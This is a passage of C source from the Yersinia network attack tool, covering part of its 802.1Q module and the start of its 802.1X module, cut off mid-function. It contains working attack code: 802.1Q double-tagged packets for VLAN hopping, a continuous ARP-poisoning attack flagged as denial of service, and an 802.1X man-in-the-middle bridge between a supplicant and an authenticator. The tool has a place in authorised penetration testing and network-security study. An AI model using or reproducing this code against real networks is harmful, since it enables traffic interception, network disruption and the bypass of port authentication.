snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return field_values; break; case 0x2000: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return field_values; break; case 0x2003: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return field_values; break; case 0x2004: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return field_values; break; case 0x9000: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return field_values; break; default: if (type_cursor < 0x0800) { cursor+=4; } else snprintf(field_values[DOT1Q_TPI3], 5, "%04X", type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; field_values[DOT1Q_IP_PROTO][0] = 0; return field_values; break; } break; case ETHERTYPE_ARP: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0] = 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; cursor++; cursor++; if (ntohs(*cursor) != ETHERTYPE_IP) { strncpy(field_values[DOT1Q_SRC_IP],"N/A",16); strncpy(field_values[DOT1Q_DST_IP],"N/A",16); } cursor++; cursor++; if (ntohs(*cursor) == 1 ) /* ARP Request */ { cursor+=4; memcpy((void *)&aux_long, (void *)cursor,4); aux = libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE); snprintf(field_values[DOT1Q_SRC_IP], 17, "%s",aux); cursor+=5; memcpy((void *)&aux_long, (void *)cursor,4); aux = libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE); snprintf(field_values[DOT1Q_DST_IP], 17, "%s?",aux); } else if (ntohs(*cursor) == 2 ) /* ARP Reply */ { cursor+=4; memcpy((void *)&aux_long, (void *)cursor,4); aux = libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE); snprintf(field_values[DOT1Q_SRC_IP], 17, "%s",aux); } else { strncpy(field_values[DOT1Q_SRC_IP],"N/A",16); strncpy(field_values[DOT1Q_DST_IP],"N/A",16); } return field_values; break; case ETHERTYPE_REVARP: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0] = 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return field_values; break; case 0x010b: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0]= 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return field_values; break; case 0x2000: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0]= 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return field_values; break; case 0x2003: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0]= 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return field_values; break; case 0x2004: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0]= 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return field_values; break; case 0x9000: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0]= 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return field_values; break; default: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0]= 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return field_values; break; } snprintf(field_values[DOT1Q_TPI3], 5, "0800"); cursor++; /* Minimal IP header needed */ ip = (u_int8_t *)cursor; if ( (ip+20) > (data->packet + data->header->caplen)) return field_values; #ifdef LBL_ALIGN snprintf(field_values[DOT1Q_IP_PROTO], 3, "%02d",*(ip+9)); memcpy((void *)&aux_long, (void *)(ip+12),4); aux = libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE); strncpy(field_values[DOT1Q_SRC_IP],aux,16); memcpy((void *)&aux_long, (void *)(ip+16),4); aux = libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE); strncpy(field_values[DOT1Q_DST_IP],aux,16); #else ipv4_hdr = (struct libnet_ipv4_hdr *)cursor; /* Source IP */ strncpy(field_values[DOT1Q_SRC_IP], libnet_addr2name4(ipv4_hdr->ip_src.s_addr, LIBNET_DONT_RESOLVE), 16); /* Destination IP */ strncpy(field_values[DOT1Q_DST_IP], libnet_addr2name4(ipv4_hdr->ip_dst.s_addr, LIBNET_DONT_RESOLVE), 16); snprintf(field_values[DOT1Q_IP_PROTO], 3, "%02d",ipv4_hdr->ip_p); #endif return field_values; } char **dot1q_get_printable_store( struct term_node *node ) { struct dot1q_data *dot1q_tmp; char **field_values; #ifdef LBL_ALIGN u_int8_t *aux; #endif /* smac + dmac + double + vlan1 + priority + cfi1 + tpi1 + vlan2 + * priority2 + cfi2 + tpi3 + src + dst + proto + arp + vlan + null = 17 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_DOT1Q].nparams, protocols[PROTO_DOT1Q].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) dot1q_tmp = protocols[PROTO_DOT1Q].default_values; else dot1q_tmp = (struct dot1q_data *) node->protocol[PROTO_DOT1Q].tmp_data; /* Source MAC */ snprintf(field_values[DOT1Q_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dot1q_tmp->mac_source[0], dot1q_tmp->mac_source[1], dot1q_tmp->mac_source[2], dot1q_tmp->mac_source[3], dot1q_tmp->mac_source[4], dot1q_tmp->mac_source[5]); /* Destination MAC */ snprintf(field_values[DOT1Q_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dot1q_tmp->mac_dest[0], dot1q_tmp->mac_dest[1], dot1q_tmp->mac_dest[2], dot1q_tmp->mac_dest[3], dot1q_tmp->mac_dest[4], dot1q_tmp->mac_dest[5]); snprintf(field_values[DOT1Q_VLAN1], 5, "%04d", dot1q_tmp->vlan1); snprintf(field_values[DOT1Q_PRIORITY1], 3, "%02X", dot1q_tmp->priority1); snprintf(field_values[DOT1Q_CFI1], 3, "%02X", dot1q_tmp->cfi1); snprintf(field_values[DOT1Q_TPI2], 12, "%04X", dot1q_tmp->tpi2); snprintf(field_values[DOT1Q_VLAN2], 5, "%04d", dot1q_tmp->vlan2); snprintf(field_values[DOT1Q_PRIORITY2], 3, "%02X", dot1q_tmp->priority2); snprintf(field_values[DOT1Q_CFI2], 3, "%02X", dot1q_tmp->cfi2); snprintf(field_values[DOT1Q_TPI3], 12, "%04X", dot1q_tmp->tpi3); /* Source IP */ parser_get_formated_inet_address(dot1q_tmp->src_ip, field_values[DOT1Q_SRC_IP], 16); /* Destination IP */ parser_get_formated_inet_address(dot1q_tmp->dst_ip, field_values[DOT1Q_DST_IP], 16); /* IP protocol */ snprintf(field_values[DOT1Q_IP_PROTO], 3, "%02d",dot1q_tmp->ip_proto); memcpy(field_values[DOT1Q_PAYLOAD], dot1q_tmp->icmp_payload, MAX_ICMP_PAYLOAD); return field_values; } int8_t dot1q_update_field(int8_t state, struct term_node *node, void *value) { struct dot1q_data *dot1q_data; if (node == NULL) dot1q_data = protocols[PROTO_DOT1Q].default_values; else dot1q_data = node->protocol[PROTO_DOT1Q].tmp_data; switch(state) { /* Source MAC */ case DOT1Q_SMAC: memcpy((void *)dot1q_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case DOT1Q_DMAC: memcpy((void *)dot1q_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* Priority */ case DOT1Q_PRIORITY1: dot1q_data->priority1 = *(u_int8_t *)value; break; /* CFI */ case DOT1Q_CFI1: dot1q_data->cfi1 = *(u_int8_t *)value; break; /* CFI */ case DOT1Q_VLAN1: dot1q_data->vlan1 = *(u_int16_t *)value; break; /* Tag Proto */ case DOT1Q_TPI2: dot1q_data->tpi2 = *(u_int16_t *)value; /* memcpy((void *)&dot1q_data->tpi2,value,2);*/ break; /* Priority */ case DOT1Q_PRIORITY2: dot1q_data->priority2 = *(u_int8_t *)value; break; /* CFI */ case DOT1Q_CFI2: dot1q_data->cfi2 = *(u_int8_t *)value; break; /* CFI */ case DOT1Q_VLAN2: dot1q_data->vlan2 = *(u_int16_t *)value; break; case DOT1Q_TPI3: dot1q_data->tpi3 = *(u_int16_t *)value; /* memcpy((void *)&dot1q_data->tpi3,value,2);*/ break; /* Source IP */ case DOT1Q_SRC_IP: dot1q_data->src_ip = *(u_int32_t *)value; break; case DOT1Q_DST_IP: dot1q_data->dst_ip = *(u_int32_t *)value; break; case DOT1Q_IP_PROTO: dot1q_data->ip_proto = *(u_int8_t *)value; break; default: break; } return 0; } int8_t dot1q_end(struct term_node *node) { return 0; }
C/C++
yersinia/src/dot1q.h
/* dot1q.h * Definitions for IEEE 802.1Q * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __DOT_1Q_H__ #define __DOT_1Q_H__ #include <libnet.h> #include "terminal-defs.h" #include "interfaces.h" #define MAX_ICMP_PAYLOAD 16 #define DOT1Q_DFL_MAC_DST "FF:FF:FF:FF:FF:FF" #define DOT1Q_DFL_TPI1 ETHERTYPE_VLAN #define DOT1Q_DFL_PRIO1 0x007 #define DOT1Q_DFL_CFI1 0x000 #define DOT1Q_DFL_VLAN1 0x001 #define DOT1Q_DFL_TPI2 ETHERTYPE_IP #define DOT1Q_DFL_PRIO2 0x007 #define DOT1Q_DFL_CFI2 0x000 #define DOT1Q_DFL_VLAN2 0x002 #define DOT1Q_DFL_TPI3 ETHERTYPE_IP #define DOT1Q_DFL_DST_IP 0xffffffff #define DOT1Q_DFL_PAYLOAD "YERSINIA" #define DOT1Q_DFL_PAY_LEN 8 struct dot1q_data { u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int16_t tpi1; u_int8_t priority1; u_int8_t cfi1; u_int16_t vlan1; u_int16_t tpi2; u_int8_t priority2; u_int8_t cfi2; u_int16_t vlan2; u_int16_t tpi3; u_int32_t src_ip; u_int32_t dst_ip; u_int8_t ip_proto; u_int8_t icmp_payload[MAX_ICMP_PAYLOAD+1]; u_int8_t icmp_pay_len; }; static const struct tuple_type_desc dot1q_tpi[] = { { ETHERTYPE_IP, "IP" }, { ETHERTYPE_VLAN, "802.1Q" }, { ETHERTYPE_ARP, "ARP" }, { ETHERTYPE_REVARP, "RARP" }, { 0x2000, "CDP" }, { 0x2003, "VTP" }, { 0x2004, "DTP" }, { 0x9000, "LOOP" }, { 0x010b, "PVST" }, { 0, NULL } }; static const struct tuple_type_desc dot1q_ip_proto[] = { { 0x01, "icmp" }, { 0x06, "tcp" }, { 0x11, "udp" }, { 89, "ospf" }, { 0, NULL } }; static struct proto_features dot1q_features[] = { { F_ETHERTYPE, ETHERTYPE_VLAN }, { -1, 0 } }; #define DOT1Q_SMAC 0 #define DOT1Q_DMAC 1 #define DOT1Q_VLAN1 2 #define DOT1Q_PRIORITY1 3 #define DOT1Q_CFI1 4 #define DOT1Q_TPI2 5 #define DOT1Q_VLAN2 6 #define DOT1Q_PRIORITY2 7 #define DOT1Q_CFI2 8 #define DOT1Q_TPI3 9 #define DOT1Q_SRC_IP 10 #define DOT1Q_DST_IP 11 #define DOT1Q_IP_PROTO 12 #define DOT1Q_PAYLOAD 13 /* Struct needed for using protocol fields within the network client */ struct commands_param dot1q_comm_params[] = { { DOT1Q_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DOT1Q_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DOT1Q_VLAN1, "vlan1", "VLAN", 2, FIELD_DEC, "Set 802.1Q vlan1 (outer) ID", " <0-4095> Outer vlan id", 4, 2, 1, NULL, NULL }, { DOT1Q_PRIORITY1, "priority1", "Priority", 1, FIELD_DEC, "Set 802.1Q vlan1 (outer) priority", " <0-7> Priority", 2, 2, 0, NULL, NULL }, { DOT1Q_CFI1, "cfi1", "CFI", 1, FIELD_HEX, "Set 802.1Q cfi1 (outer) ID", " <0-FF> CFI1 id", 2, 2, 0, NULL, NULL }, { DOT1Q_TPI2, "l2proto1", "L2Proto1", 2, FIELD_HEX, "Set 802.1Q L2 protocol1", " <0-FFFF> Protocol", 4, 2, 1, NULL, dot1q_tpi }, { DOT1Q_VLAN2, "vlan2", "VLAN2", 2, FIELD_DEC, "Set 802.1Q vlan1 (outer) ID", " <0-4095> Inner vlan id", 4, 2, 0, NULL, NULL }, { DOT1Q_PRIORITY2, "priority2", "Priority", 1, FIELD_DEC, "Set 802.1Q vlan2 (inner) priority", " <0-7> Priority", 2, 2, 0, NULL, NULL }, { DOT1Q_CFI2, "cfi2", "CFI", 1, FIELD_HEX, "Set 802.1Q cfi2 (inner) ID", " <0-FF> CFI2 id", 2, 2, 0, NULL, NULL }, { DOT1Q_TPI3, "l2proto2", "L2Proto2", 2, FIELD_HEX, "Set 802.1Q L2 protocol2", " <0-FFFF> Protocol", 4, 3, 0, NULL, dot1q_tpi }, { DOT1Q_SRC_IP, "ipsource", "Src IP", 4, FIELD_IP, "Set 802.1Q IP source data address", " A.A.A.A IPv4 address", 15, 3, 1, NULL, NULL }, { DOT1Q_DST_IP, "ipdest", "Dst IP", 4, FIELD_IP, "Set 802.1Q IP destination data address", " A.A.A.A IPv4 address", 15, 3, 1, NULL, NULL }, { DOT1Q_IP_PROTO, "ipproto", "IP Prot", 1, FIELD_HEX, "Set 802.1Q IP protocols", " <0-FF> IP protocol", 2, 3, 1, NULL, dot1q_ip_proto }, { DOT1Q_PAYLOAD, "payload", "Payload", MAX_ICMP_PAYLOAD, FIELD_STR, "Set 802.1Q ICMP payload", " WORD ASCII payload", MAX_ICMP_PAYLOAD, 4, 0, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " <cr>", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL } }; void dot1q_th_send(void *); void dot1q_th_send_exit(struct attacks *); void dot1q_double_th_send(void *); void dot1q_double_th_send_exit(struct attacks *); void dot1q_th_poison(void *); void dot1q_th_poison_exit(struct attacks *); #define DOT1Q_ARP_IP 0 #define DOT1Q_ARP_VLAN 1 #define DOT1Q_ARP_IP_SRC 2 static struct attack_param dot1q_arp_params[] = { { NULL, "IP to poison", 4, FIELD_IP, 15, NULL }, { NULL, "IP VLAN", 2, FIELD_DEC, 4, NULL }, { NULL, "ARP IP Source", 4, FIELD_IP, 15, NULL } }; #define DOT1Q_ATTACK_SEND 0 #define DOT1Q_ATTACK_DOUBLE 1 #define DOT1Q_ATTACK_POISON 2 static struct _attack_definition dot1q_attack[] = { { DOT1Q_ATTACK_SEND, "sending 802.1Q packet", NONDOS, SINGLE, dot1q_th_send, NULL, 0 }, { DOT1Q_ATTACK_DOUBLE, "sending 802.1Q double enc. packet", NONDOS, SINGLE, dot1q_double_th_send, NULL, 0 }, { DOT1Q_ATTACK_POISON, "sending 802.1Q arp poisoning", DOS, CONTINOUS, dot1q_th_poison, dot1q_arp_params, SIZE_ARRAY(dot1q_arp_params) }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void dot1q_register(void); int8_t dot1q_send_icmp(struct attacks *, u_int8_t); void dot1q_send_arp_poison(void *); int8_t dot1q_send_arp(struct interface_data *, u_int16_t, u_int8_t *, u_int8_t *, u_int8_t *, u_int8_t *, u_int8_t *, u_int16_t, u_int8_t); int8_t dot1q_learn_mac(struct attacks *, struct pcap_pkthdr *, u_int8_t *); int8_t dot1q_return_mac(struct attacks *, u_int8_t *); int8_t dot1q_init_attribs(struct term_node *); int8_t dot1q_learn_packet(struct attacks *, char *, u_int8_t *,void *, struct pcap_pkthdr *); char **dot1q_get_printable_packet(struct pcap_data *); char **dot1q_get_printable_store(struct term_node *); int8_t dot1q_load_values(struct pcap_data *, void *); int8_t dot1q_update_data(int8_t, int8_t, int8_t, struct term_node *); int8_t dot1q_update_field(int8_t, struct term_node *, void *); int8_t dot1q_init_comms_struct(struct term_node *); int8_t dot1q_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); extern int8_t vrfy_bridge_id( char *, u_int8_t * ); extern int8_t thread_create( THREAD *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t parser_command2index(register const struct _attack_definition *, register int8_t); extern struct terminals *terms; extern int8_t bin_data[]; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/dot1x.c
/* dot1x.c * Implementation and attacks for IEEE 802.1X * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #include <stdarg.h> #include "dot1x.h" void dot1x_register(void) { protocol_register(PROTO_DOT1X, "802.1X", "IEEE 802.1X", "dot1x", sizeof(struct dot1x_data), dot1x_init_attribs, dot1x_learn_packet, dot1x_get_printable_packet, dot1x_get_printable_store, dot1x_load_values, dot1x_attack, dot1x_update_field, dot1x_features, dot1x_comm_params, SIZE_ARRAY(dot1x_comm_params), NULL, 0, NULL, dot1x_init_comms_struct, PROTO_VISIBLE, dot1x_end); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente como esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t dot1x_init_comms_struct(struct term_node *node) { struct dot1x_data *dot1x_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(dot1x_comm_params)); if (comm_param == NULL) { thread_error("dot1x_init_commands_struct calloc error",errno); return -1; } dot1x_data = node->protocol[PROTO_DOT1X].tmp_data; node->protocol[PROTO_DOT1X].commands_param = comm_param; comm_param[DOT1X_SMAC] = &dot1x_data->mac_source; comm_param[DOT1X_DMAC] = &dot1x_data->mac_dest; comm_param[DOT1X_VER] = &dot1x_data->version; comm_param[DOT1X_TYPE] = &dot1x_data->type; comm_param[DOT1X_EAP_CODE] = &dot1x_data->eap_code; comm_param[DOT1X_EAP_ID] = &dot1x_data->eap_id; comm_param[DOT1X_EAP_TYPE] = &dot1x_data->eap_type; comm_param[DOT1X_EAP_INFO] = &dot1x_data->eap_info; comm_param[8] = NULL; comm_param[9] = NULL; return 0; } void dot1x_th_send( void *arg ) { struct attacks *attacks = (struct attacks *)arg; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dot1x_th_send pthread_sigmask()",errno); dot1x_th_send_exit(attacks); } dot1x_send(attacks); dot1x_th_send_exit(attacks); } int8_t dot1x_send(struct attacks *attacks) { libnet_ptag_t t; libnet_t *lhandler; int32_t sent; int32_t payload_size=0; struct dot1x_data *dot1x_data; struct eap_header *eap_hdr; u_int8_t *payload=NULL, *cursor; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; dot1x_data = attacks->data; dot1x_data->len = 4; if (dot1x_data->len >= sizeof(struct eap_header)) { write_log(0,"Payload = %d + 1 + 4\n",dot1x_data->eap_info_len); payload = (u_int8_t *)calloc(1,dot1x_data->eap_info_len+1+4); if (payload == NULL) { thread_error("dot1x_send calloc()",errno); return -1; } eap_hdr = (struct eap_header *)payload; eap_hdr->code = dot1x_data->eap_code; eap_hdr->id = dot1x_data->eap_id; cursor = (u_int8_t *)(eap_hdr+1); *cursor = dot1x_data->eap_type; if (dot1x_data->eap_info_len) memcpy((void *)(cursor+1),dot1x_data->eap_info,dot1x_data->eap_info_len); switch(dot1x_data->eap_code) { case DOT1X_EAP_RESPONSE: if (dot1x_data->eap_type == 0x01) /* Notification */ { dot1x_data->len = sizeof(struct eap_header) + 1 + dot1x_data->eap_info_len; eap_hdr->len = htons(sizeof(struct eap_header) + 1 + dot1x_data->eap_info_len); payload_size = sizeof(struct eap_header) + 1 + dot1x_data->eap_info_len; } else { dot1x_data->len = sizeof(struct eap_header) + 1; eap_hdr->len = htons(sizeof(struct eap_header)+1); payload_size = sizeof(struct eap_header) + 1; } break; case DOT1X_EAP_REQUEST: dot1x_data->len = sizeof(struct eap_header) + 1; eap_hdr->len = htons(sizeof(struct eap_header)+1); payload_size = sizeof(struct eap_header) + 1; break; default: dot1x_data->len = sizeof(struct eap_header); eap_hdr->len = htons(sizeof(struct eap_header)); payload_size = sizeof(struct eap_header); break; } } write_log(0,"Antes envio payload=%p psize=%d dot1x_data->len=%d\n",payload,payload_size,dot1x_data->len); for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_802_1x( dot1x_data->version, dot1x_data->type, dot1x_data->len, payload, payload_size, lhandler, 0); if (t == -1) { thread_libnet_error("Can't build 802.1x header",lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } t = libnet_build_ethernet( dot1x_data->mac_dest, /* ethernet destination */ dot1x_data->mac_source, /* ethernet source */ ETHERTYPE_EAP, /* protocol type */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build Ethernet_II header",lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_DOT1X].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_DOT1X]++; } if (payload) free(payload); return 0; } void dot1x_th_send_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /* * 802.1X MitM simple attack. * You'll need 2 network interfaces, 1 attached * to the supplicant device and the other attached * to the authenticator device. */ void dot1x_th_mitm( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct attack_param *param = (struct attack_param *)attacks->params; sigset_t mask; struct pcap_pkthdr header; struct libnet_802_3_hdr *ether; struct timeval now; struct dot1x_mitm_ifaces mitm_ifaces; struct interface_data *iface; dlist_t *p; u_int8_t *packet; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dot1x_th_mitm pthread_sigmask()",errno); dot1x_th_mitm_exit(attacks); } p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, param[DOT1X_MITM_IFACE_AUTH].value); mitm_ifaces.auth = (struct interface_data *) dlist_data(p); p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, param[DOT1X_MITM_IFACE_SUPP].value); mitm_ifaces.supp = (struct interface_data *) dlist_data(p); if (!mitm_ifaces.auth || !mitm_ifaces.supp) { if (!mitm_ifaces.auth) write_log(0,"Ooops!! Interface %s not existent!!\n",param[DOT1X_MITM_IFACE_AUTH].value); else write_log(0,"Ooops!! Interface %s not existent!!\n",param[DOT1X_MITM_IFACE_SUPP].value); write_log(0," Have you enabled the interface? Sure?...\n"); dot1x_th_mitm_exit(attacks); } gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; if ((packet = calloc(1, SNAPLEN)) == NULL) dot1x_th_mitm_exit(attacks); /* Get Authenticator MAC address... */ interfaces_get_packet(attacks->used_ints, mitm_ifaces.auth, &attacks->attack_th.stop, &header, packet, PROTO_DOT1X, NO_TIMEOUT ); if (attacks->attack_th.stop) { free(packet); dot1x_th_mitm_exit(attacks); } ether = (struct libnet_802_3_hdr *) packet; write_log(0, " Authenticator MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); memcpy((void *)mitm_ifaces.mac_auth,(void *)ether->_802_3_shost,6); /* Get supplicant MAC address */ interfaces_get_packet( attacks->used_ints, mitm_ifaces.supp, &attacks->attack_th.stop, &header, packet, PROTO_DOT1X, NO_TIMEOUT ); if (attacks->attack_th.stop) { free(packet); dot1x_th_mitm_exit(attacks); } ether = (struct libnet_802_3_hdr *) packet; write_log(0, " Supplicant MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); memcpy((void *)mitm_ifaces.mac_supp,(void *)ether->_802_3_shost,6); /* Ok... Now start the funny bridging side... */ while( !attacks->attack_th.stop ) { iface = interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_DOT1X, NO_TIMEOUT); if (attacks->attack_th.stop) break; ether = (struct libnet_802_3_hdr *) packet; /* Authenticator interface? */ if (iface->libnet_handler == mitm_ifaces.auth->libnet_handler) { if (!memcmp(mitm_ifaces.mac_supp,ether->_802_3_shost,6) ) continue; /* Oops!! Its our packet... */ dot1x_send_raw(mitm_ifaces.supp, (packet+LIBNET_802_3_H), (header.len-LIBNET_802_3_H), mitm_ifaces.mac_auth, mitm_ifaces.mac_supp); continue; } /* Supplicant interface? */ if (iface->libnet_handler == mitm_ifaces.supp->libnet_handler) { if (!memcmp(mitm_ifaces.mac_auth,ether->_802_3_shost,6) ) continue; /* Oops!! Its our packet... */ dot1x_send_raw(mitm_ifaces.auth, (packet+LIBNET_802_3_H), (header.len-LIBNET_802_3_H), mitm_ifaces.mac_supp, mitm_ifaces.mac_auth); continue; } } free(packet); dot1x_th_mitm_exit(attacks); } int8_t dot1x_send_raw(struct interface_data *iface, u_int8_t *payload, u_int16_t len, 